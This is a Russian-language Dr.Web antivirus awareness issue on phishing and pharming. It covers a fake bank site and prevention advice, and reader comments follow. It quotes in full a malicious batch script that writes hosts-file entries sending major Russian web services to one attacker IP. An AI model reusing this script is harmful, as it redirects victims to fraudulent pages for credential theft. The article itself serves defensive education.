Поскользнулся, упал, очнулся

На удочке

добавить в избранное

Поскользнулся, упал, очнулся — гипс!

Прочитали: 6036 Комментариев: 67 Рейтинг: 308

18 июля 2016

Кто не знает фишинг? Фишинг знают все! Действительно, о фишинге — интернет-мошенничестве с использованием почтовых рассылок с предложением товаров и услуг — известно подавляющему большинству пользователей. Естественно, уровень осведомленности растет, и они все более подозрительно относятся к приходящим письмам.

А злоумышленники, в свою очередь, придумывают новые уловки с целью выманивания денег у доверчивых и добрых людей.

Банк России выявил сайт Mngb.ru, незаконно предлагающий услуги от лица некоего Metro Neal Guardian Bank. Этой организации ЦБ не выдавал лицензию для работы в России, отмечается в релизе регулятора.

Между тем на сайте Mngb.ru сказано: «Генеральная лицензия на осуществление банковских операций № 1366, выдана Центральным Банком РФ 14.01.2015, бессрочная».

Утверждается, что центральный офис банка расположен в Вашингтоне, а представительство в России находится по адресу: Москва, Волоколамское шоссе, 90 строение 3. Между тем на московских картах по такому адресу банка не значится. В здании находится только государственное машиностроительное КБ имени И. И. Торопова «Вымпел».

На сайте также указан несуществующий ИНН. Мошенники предлагают оформить кредитные карты Visa и MasterCard.

Банк России призывает проверять информацию по зарегистрированным банкам на своем сайте.

http://polit.ru/news/2016/07/12/false_bank

Фарминг ("pharming" – производное от английских слов "phishing" и "farming" – занятие сельским хозяйством, животноводством).

Как и фишеры, люди, занимающиеся фармингом, используют мошеннические сайты, но жертвы попадают туда без добровольного клика по ссылке, а совершенно незаметно для себя.

Пользователи перенаправляются на мошеннический сайт автоматически — даже тогда, когда вводят правильный веб-адрес.

Для этого жулики используют вредоносное ПО, вносят изменения в файл hosts и настройки сервиса DNS. Так атака становится незаметной, а участие пользователя сводится к минимуму. В принципе, атака может быть даже целевой – злоумышленнику достаточно дождаться, когда пользователь решит посетить определенные сайты.

Насколько сложно выманить жертву на сайт фармера (не путать с фермером!)? Один из сценариев ловушки.

— Здравствуй ) У меня не рaбoтает фaйл один нужный, можешь прoверить у себя?
— Могу, привет)

...

Ничего не подозревающий пользователь щелкает по этому файлу и… выполняется следующий код:

@rem ----- ExeScript Options Begin ----- @rem ScriptType: console @rem DestDirectory: temp @rem Icon: default @rem ----- ExeScript Options End ----- @echo off echo 81.94.229.115 www.mail.i.ua >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 mail.i.ua >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 www.m.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 m.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 mail.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 www.mail.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 www.yandex.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 yandex.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 www.odnoklasniki.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 odnoklasniki.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 www.google.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 google.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 www.rambler.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 rambler.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 www.ya.ru >> %windir%\system32\drivers\etc\hosts echo 81.94.229.115 ya.ru >> %windir%\system32\drivers\etc\hosts

Кстати, перед собственно телом скрипта в файле 662 пустые строки.

https://habrahabr.ru/post/73515

В результате вместо всех указанных выше сайтов откроется сайт мошенников. #фишинг #мошенничество

Антивирусная правДА! рекомендует

Защититься от фарминга крайне сложно, сайты компаний изменяются постоянно, и пользователи не могут регулярно отслеживать такие изменения. Чтобы застраховаться от перенаправления на другой сайт, рекомендуется:

Контролировать попытки изменения файла Hosts, выбрав удобный для вас уровень работы Превентивной защиты Dr.Web Security Space.
Для настройки параметров Превентивной защиты кликните по значку в системном меню, затем в открывшемся меню последовательно нажмите на и появившийся значок . В открывшемся окне Настройки выберите пункт Компоненты защиты и далее Превентивная защита.
Здесь вы можете настроить реакцию антивируса на действия сторонних приложений, которые могут привести к заражению вашего компьютера.
Изменения сетевых настроек возможны во многом благодаря тому, что пользователи работают с правами администраторов, и получившие доступ к компьютеру злоумышленники могут распоряжаться его настройками именно с этими правами. Не следует работать с правами администраторов после завершения настроек своего компьютера!
Регулярно проверяйте выписки со своего банковского счета. Развитие интернет-банкинга – это удобство не только для пользователей, но и для злоумышленников. Банки могут уведомлять клиентов обо всех или только подозрительных операциях, но эти сообщения могут быть скрыты или подделаны.
Только вы владеете достоверной информацией о том, где были потрачены деньги, поэтому не забывайте регулярно проверять баланс своего счета!
Устанавливайте все обновления безопасности для операционной системы и используемого ПО.
Не следует вводить личные сведения на сайте, на который вы попали по внешней ссылке или из всплывающего рекламного сообщения (даже на легитимном веб-сайте). Откройте новое окно браузера и введите ip-адрес ресурса (узнав его, например, на ином устройстве) вручную в адресной строке, чтобы убедиться в подлинности сайта. Прежде чем вводить личные данные, всегда проверяйте правильность URL страницы.
Получив электронное письмо от имени банка, интернет-магазина, социальной сети или любой другой компании, убедитесь, что оно отправлено с официального электронного адреса организации. Для общения с клиентами банки не используют такие общедоступные домены как gmail.com, yahoo.co.uk и т. д.
Гарантированно уничтожайте ненужную финансовую информацию. Пользователи часто выбрасывают бумаги с такими сведениями, в том числе распечатанные документы с данными интернет-банкинга, счета с записанными паролями и т. п. Любую личную информацию, включая выписки с банковского счета и карты с истекшим сроком действия, рекомендуется уничтожать путем измельчения.
Сообщайте о случаях мошенничества в Интернете. В частности, это можно сделать непосредственно на сайте «Доктор Веб», отправив запрос в службу поддержки. Ваша информация важна не нам – она важна всем пользователям, которых стремятся поймать на удочку!

Оцените выпуск

Чтобы проголосовать зайдите в аккаунт на сайте или создайте его, если аккаунта еще нет.

Сделайте репост

Необходимо войти на страницу выпуска через аккаунт на сайте «Доктор Веб» (или создать аккаунт). Аккаунт должен быть связан с вашим аккаунтом в социальной сети. Видео о связывании аккаунта.

Нам важно ваше мнение

Чтобы оставить комментарий, нужно зайти через свой аккаунт на сайте «Доктор Веб». Если аккаунта еще нет, его можно создать.

Комментарии пользователей

Sergey
07:16:26 2020-03-18

Авторам спасибо за полезную и нужную информацию. Возьму себе на вооружение. В избранное, однозначно.

Денисенко Павел Андреевич
20:30:50 2018-07-30

Превентивная защита, тоже хорошая защита, вовремя срабатывает, все устраивает.

alex-diesel Собкор
18:36:51 2018-03-13

толковый выпуск, хорошо, что столько всевозможных настроек существует у компонентов DrWeb-а, жаль, что не всегда в них просто разобраться и не всегда по-умолчанию стоят идеальные.

зы знаю, что не может быть идеала для каждого, но помечтать то можно ))

Toma
17:58:49 2017-11-27

Защититься от фарминга крайне сложно! Очень полезный выпуск, спасибо!

eaglebuk
21:22:37 2017-02-11

симпатичный сайт на первой картинке

Masha
09:41:06 2016-12-26

Превентивная защита Dr.Web Security Space! И все в порядке!

Пaвeл Собкор
14:31:10 2016-12-18

Спасибо! Очень полезно!

Laventurier
15:54:35 2016-12-06

За всем надо следить и проверять...ужас.

kama35
10:06:33 2016-09-06

Спасибо, надо посмотреть файл hosts

2018
20:03:15 2016-08-02

Файл хост можно и проверять вручную.
Часто встречался фишинг со страницей ответы.мэил.ру.

bob123456 Собкор
17:54:26 2016-07-25

Оформлять кредитки лучше всего непосредственно в отделении банка. Так намного надёжнее.

tigra Собкор
06:52:01 2016-07-21

Host файл всегда находится под надежной защитой, если Dr.Web стоит)))

vla_va
23:06:03 2016-07-18

Серьезно..

В...а
22:34:11 2016-07-18

Банк?!

Р...й
21:40:39 2016-07-18

известный механизм

solec
21:28:15 2016-07-18

Прочитал и принял к сведению )

НинаК
21:05:01 2016-07-18

в безопасности

kva-kva
20:52:42 2016-07-18

лучше знать

Dvakota
20:28:28 2016-07-18

Спасибо за советы .

Sermut
19:43:24 2016-07-18

Спасибо! Вполне пригодные рекомендации.

Александр Ш. Собкор
19:40:34 2016-07-18

Фарминг... Ну вот, ещё один новый для меня, но не сомневаюсь, что ни последний термин благодаря проекту "Антивирусная правДА!" пополнил мою личную копилку знаний по компьютерной и информационной безопасности. Спасибо! :)

А вот о возможных "фокусах" с файлом hosts наслышан. Кстати, любые сайты, которые открываются "сами по себе" для меня потенциально злонамеренные и не вызывают доверия. Будь то даже просто случай агрессивного маркетинга. :(

P.S. Рекомендации Dr.Web выше всяких похвал – в лучших традициях проекта. ;)

Viktoria
19:37:01 2016-07-18

Побольше бы таких дельных советов!

mk.insta
19:36:26 2016-07-18

Вот как!

ada
19:32:34 2016-07-18

Очень полезные советы!

Dzhetrou
19:03:57 2016-07-18

Спасибо настроил

La folle
18:48:16 2016-07-18

Фишинг очень опасен!

PROgrammeur
18:24:23 2016-07-18

и снова статья ориентирована на win* даже пример специфичный ... :(

Damir Собкор
18:21:12 2016-07-18

Спасибо за пошаговую инструкцию..

Zevs_46
17:08:43 2016-07-18

Спасибо. Ознакомлен.

kseeleed
17:07:26 2016-07-18

сталкивался неоднократно в прошлом с фишингом но с того момента как установил dr web проблем не было

Nikodim2011 Собкор
17:03:20 2016-07-18

Спасибо за полезные и нужные советы!

samox
16:53:02 2016-07-18

Настроено.

SGES Собкор
16:48:19 2016-07-18

Кто хочет много знать, тому надо мало спать.

Б...а
16:33:14 2016-07-18

Не перехожу посторонним ссылкам )

Luger Собкор
15:52:40 2016-07-18

У многих знакомых host-файл изменен ,а они даже не подозревают об этом,лишь удивляясь,что попадают на какие-то незнакомые сайты,

Людмила
15:12:17 2016-07-18

@GREEN,
насчет контактов с производителями пока только так. http://products.drweb.ru/mobile/mnf/
вы думаете они хотят улучшить безопасность? они все хотят денег за установку нас. даже за то, что мы даем бесплатные лицензии.

razgen Собкор
15:05:23 2016-07-18

Осторожность, особая внимательность плюс Превентивная защита Dr.Web Security Space и враг будет побеждён.

kindergod
14:35:58 2016-07-18

завел себе на ноуте пользователя без админских прав - теперь даже в настройки др.веба не могу зайти ;(

Людмила
14:26:56 2016-07-18

@GREEN,
спасибо за это экспресс-исследование. мы учтем его в нашей работе.

Andromeda
12:47:39 2016-07-18

Прочитала, теперь буду осторожнее.

Неуёмный Обыватель Собкор
12:34:57 2016-07-18

@м...ч, ну вот пример одного из таких писем:
******
Поступление средств на счет

Дата: 07.07.2016
Сумма: 33 990 RUB
Примечание: Партнерское вознаграждение

Получить средства => https://t.co/*УДАЛИЛ ЗДЕСЬ КУСОК*?yandex/dengi/destinypws/yandex/3111/19/19/whats/been/happening

-----

С уважением, ROBOKASSA

****
Тут и думать не надо, ничего хорошего по этой ссылке не ждет. я бы такие отправлял, например, когда не лениво. Ну а до того, экрана, который я послал, и так немного пользователей добирается :) Но увеличение объема материалов для исследования возрастет, возможно. Но с другой стороны, это ведь способствует конечной цели установки пользователем антивирусного продукта. Просто, кого-нибудь могут бомбить целенаправленно ссылками, а в общий эфир эти ссылки таки никогда не попадут, и соответственно, до аналитиков тоже иначе не дойдут. А так у пользователя будет шанс получить защиту от того, что его окружает

Альфа
12:31:05 2016-07-18

Очень полезные советы! Большинство людей даже не задумываются об этом.

Вячeслaв Собкор
12:19:14 2016-07-18

@Неуёмный_Обыватель, спасибо за инициативу, мы передали ваше предложение на обсуждение. Тут не так все просто. По причине связанной с неИТшностью подавляющего числа пользователей/нежеланием из изучать доки и просто читать написанное на сайте введение такой ссылки приведет к резкому росту ссылок на вполне нормальные сайты. Проверено. Соответственно нужно не просто сслку вводить, а создавать систему автоанализа сайтов. Иначе аналитики захлебнутся

Вячeслaв Собкор
12:15:24 2016-07-18

@dyadya_Sasha, Тут проблема глобальная. Интернет, несмотря я его якобы доступность разбит на довольно слабосвязанные области. В результате скажем все новости о фишинге, вирусах - а заодно и способах противодейтвия не выходят за пределы сайтов, связанных с ИТ. Ну иногда какой первый канал новостью заинтересуется. И что нам (маркетингу) делать? Интересующиеся ИТ и так все знают, а размещать информацию на ми-ми-ми сайтах бесполезно. Грусть - печаль

Tom
12:11:33 2016-07-18

Отличный выпуск.

Неуёмный Обыватель Собкор
11:58:13 2016-07-18

@admin, например, вот так может выглядеть https://yadi.sk/i/7Ry0dA0KtPRqG
Это может увеличить число желающих поделиться подозрениями на плохие ссылки и файлы

dyadya_Sasha Собкор
11:53:46 2016-07-18

@Неуёмный_Обыватель,"... Я бы не сказал, что "Фишинг знают все!..."
Совершенно согласен и 5-10% это очень оптимистичное предположение. Сам узнал первый раз о фишинге, когда проходил тесты вебIQметра. Очень правильно, что тема закрепляется в нескольких тестах. Потом Дайджесты, новости, Аправда и сейчас есть ощущение, что ты о фишинге знал всегда. ПОВТОРЕНИЕ мать УЧЕНИЯ! Рассказывая о фишинге своему окружению, всегда видел удивление, это для всех было ново, но осознания реальной опасности не было. Уверен, что спроси сейчас их, что такое фишинг, в лучшем случае, ответят что-то про рыбалку.

Диман
11:09:54 2016-07-18

Спасибо за выпуск !

Неуёмный Обыватель Собкор
11:06:32 2016-07-18

@admin "Сообщайте о случаях мошенничества в Интернете. В частности, это можно сделать непосредственно на сайте «Доктор Веб», отправив запрос в службу поддержки. "
--
Я не прочь сообщать и даже рвусь это делать постоянно. Я получаю штук по 5 в день фишинговых ссылок. Но... Отправка запроса в службу поддержки через сайт очень муторное занятие. Было бы замечательно, если фишинговые ссылки можно было бы отправлять прямо из Dr.Web Security Space парой кликов из трея. Ну, например, нажать в "Инструменты" и ниже пункта "Поддержка" добавить пункт "Отправить подозрительную ссылку". Ну и для полного счастья "Отправить подозрительный файл". А то все эти заходы на сайт с заполнением многих полей не способствуют отправке

Ж...ч
10:59:44 2016-07-18

Бывает и такое, не думал.

Комментарии к другим выпускам | Мои комментарии

Главная

Выпуски

Рубрики

Рейтинг

О проекте

Статистика

Избранное

Инструменты

Антивирусная правДА!TM

Поскользнулся, упал, очнулся — гипс!

Антивирусная правДА! рекомендует

Нам важно ваше мнение

Комментарии пользователей